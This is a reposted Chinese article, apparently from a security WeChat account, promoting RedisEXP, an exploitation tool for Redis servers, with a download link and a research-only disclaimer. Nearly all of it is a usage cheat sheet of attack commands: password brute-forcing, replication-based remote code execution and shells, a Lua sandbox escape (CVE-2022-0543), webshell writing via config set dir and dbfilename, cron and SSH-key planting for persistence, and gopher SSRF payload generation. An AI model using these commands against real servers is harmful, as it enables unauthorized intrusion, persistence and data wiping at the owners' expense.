Redis 漏洞利用工具:RedisEXP

admin 2024年2月1日21:11:52评论34 views字数 1777阅读5分55秒阅读模式

Redis 漏洞利用工具

声明

本工具仅用于个人安全研究学习。由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,工具作者不为此承担任何责任。

注意

主从复制会清空数据,主从复制会清空数据,主从复制会清空数据,请注意使用!请注意使用!请注意使用!


██████╗ ███████╗██████╗ ██╗███████╗    ███████╗██╗  ██╗██████╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝    ██╔════╝╚██╗██╔╝██╔══██╗
██████╔╝█████╗  ██║  ██║██║███████╗    █████╗   ╚███╔╝ ██████╔╝
██╔══██╗██╔══╝  ██║  ██║██║╚════██║    ██╔══╝   ██╔██╗ ██╔═══╝
██║  ██║███████╗██████╔╝██║███████║    ███████╗██╔╝ ██╗██║
╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝    ╚══════╝╚═╝  ╚═╝╚═╝

基本连接: 
RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456

爆破 Redis 密码:
RedisExp.exe brute -r 192.168.19.1 -f pass.txt

主从复制执行命令 (默认是交互式 shell)(Redis版本 4.x - 5.x):
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -c whoami (单次执行)
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1
RedisExp.exe rce -r 192.168.19.1 -L 127.0.0.1 -f exp.so (Linux)

主从复制文件上传 (windows 中文需要设置gbk)(Redis版本 4.x - 5.x):
RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -d c:\中文\ -f shell.php -F shell.txt -g
RedisExp.exe upload -r 192.168.19.1 -L 127.0.0.1 -f shell.php -F shell.txt

Lua沙盒绕过命令执行 CVE-2022-0543:
RedisExp.exe lua -r 192.168.19.6 -c whoami

备份写 Webshell (Windows 中文路径要设置gbk, linux 中文路径不用设置):
RedisExp.exe shell -r 192.168.19.1 -d c:\中文\ -f shell.php -s "<?php phpinfo();?>" -g

Linux 写计划任务:
RedisExp.exe cron -r 192.168.19.1 -L 127.0.0.1 -P 2222

Linux 写 SSH 公钥:
RedisExp.exe ssh -r 192.168.19.1 -u root -s "ssh-rsa AAAAB"

执行 Redis 命令:
RedisExp.exe cli -r 192.168.19.1

生成 gopher ssrf redis payload: 
RedisExp.exe gopher -f 1.txt

写文件

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
  1. 具体命令使用 -h 来查看
  2. exp.dll 和 exp.so 来自 https://github.com/0671/RabR 已经把内容分别加载到 dll.go 和 so.go 可以直接调用。
  3. Windows 中文路径需要设置gbk,使用 -g 参数就可以了。

报错

工具报错:[ERR Error loading the extension. Please check the server logs.]        module load /tmp/exp.so

服务端报错:Module /tmp/exp.so failed to load: It does not have execute permissions.

有可能是 Redis 版本太高, exp.so 没有执行权限导致加载不了。具体需要查看服务端的报错

下载

https://github.com/yuyan-sec/RedisEXP

 

原文始发于微信公众号(TKing的安全圈):Redis 漏洞利用工具

 

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月1日21:11:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis 漏洞利用工具:RedisEXPhttps://cn-sec.com/archives/2444333.html

发表评论

匿名网友 填写信息